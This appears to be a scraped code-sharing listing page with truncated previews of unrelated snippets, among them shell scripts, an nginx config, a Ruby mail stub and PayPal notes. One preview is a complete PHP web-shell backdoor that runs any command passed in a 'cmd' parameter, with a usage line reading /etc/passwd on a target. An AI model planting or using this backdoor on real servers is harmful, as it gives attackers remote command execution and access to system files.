This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* * | |
| * This script is part of the TYPO3 project - inspiring people to share! * | |
| * * | |
| * TYPO3 is free software; you can redistribute it and/or modify it under * | |
| * the terms of the GNU General Public License version 2 as published by * | |
| * the Free Software Foundation. * | |
| * * | |
| * This script is distributed in the hope that it will be useful, but * | |
| * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHAN- * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| # exit on any errors: | |
| set -e | |
| if [ $# -lt 1 ] | |
| then | |
| echo "Usage: $0 @pantheon-alias" | |
| exit 1 | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| tail -n 1 -f /var/path/to/file.log | while read line; do | |
| echo $line | grep -v "PATTERN TO IGNORE" | |
| if `test $? -eq 0`; then | |
| cleanLine=`echo $line | tr -d '"'` | |
| payload="payload={\"channel\": \"#channel\", \"username\": \"dev:typo3-sys.log\", \"text\": \"$cleanLine\", \"icon_emoji\": \":interrobang:\"}" | |
| curl -X POST --data-urlencode "$payload" https://TEAM.slack.com/services/hooks/incoming-webhook\?token\=TOKEN | |
| fi | |
| done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/ruby | |
| path = "/Users/tobias/fake-mailer" | |
| Dir.mkdir(path) if !File.exists?(path) | |
| File.open("#{path}/#{Time.now.to_i}.eml", "w") do |f| | |
| f.puts ARGV.inspect | |
| $stdin.each_line { |line| f.puts line } | |
| end | |
| sleep(1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| The documentation for Gerrit when it comes to formatting comments is quite lacking. Here is short list created by trial and error and looking at the source code in: | |
| ./gerrit-gwtexpui/src/main/java/com/google/gwtexpui/safehtml/client/SafeHtml.java | |
| Lists: | |
| * List item 1 | |
| * List item 2 | |
| - List item 1 | |
| - List item 2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| upstream gitlab { | |
| server 172.17.42.1:10080 fail_timeout=0; | |
| } | |
| # let gitlab deal with the redirection | |
| server { | |
| listen 80; | |
| server_name git.example.com; | |
| server_tokens off; | |
| root /dev/null; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| This example uses the Merchant PHP SDK of Paypal. To get it, just use composer. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| This example uses the Rest API PHP SDK of Paypal. To get it, just use composer. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!-- Simple PHP Backdoor By DK (One-Liner Version) --> | |
| <!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd --> | |
| <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| set -e | |
| # insert a line to a file if the line does not already exist | |
| # - first parameter is the file to insert the line | |
| # - second parameter is the line to insert. It'll only be inserted if not already exists | |
| # - third parameter is optional. This will override the search behavior. | |
| # Instead of searching for the line of parameter 2 this term is used. | |
| function insertLineIfNotExists { | |
| FILE=$1 |